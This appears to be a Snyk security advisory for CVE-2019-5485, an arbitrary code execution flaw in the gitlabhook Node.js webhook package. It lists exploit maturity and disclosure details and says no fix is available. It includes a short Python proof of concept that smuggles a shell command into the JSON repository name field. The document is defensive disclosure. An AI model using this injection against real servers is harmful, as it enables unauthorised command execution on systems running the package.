Arbitrary Code Execution Affecting gitlabhook package, versions *
Threat Intelligence
Exploit Maturity
Mature
EPSS
18.01% (97th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-GITLABHOOK-466987
- published 15 Sep 2019
- disclosed 13 Sep 2019
- credit garumpage
Introduced: 13 Sep 2019
CVE-2019-5485 Open this link in a new tabHow to fix?
There is no fixed version for gitlabhook
.
Overview
gitlabhook is an easy to use nodeJS based web hook for GitLab.
Affected versions of this package are vulnerable to Arbitrary Code Execution. Function ExecFile
executes commands without any sanitization. User input gets passed directly to this command.
PoC by garumpage
#!/usr/bin/python
import requests
target = "http://192.168.126.128:3420"
cmd = r"touch /tmp/poc.txt"
json = '{"repository":{"name": "Diasporrra\'; %s;\'"}}'% cmd
r = requests.post(target, json)
print "Done."
References
CVSS Scores
version 3.1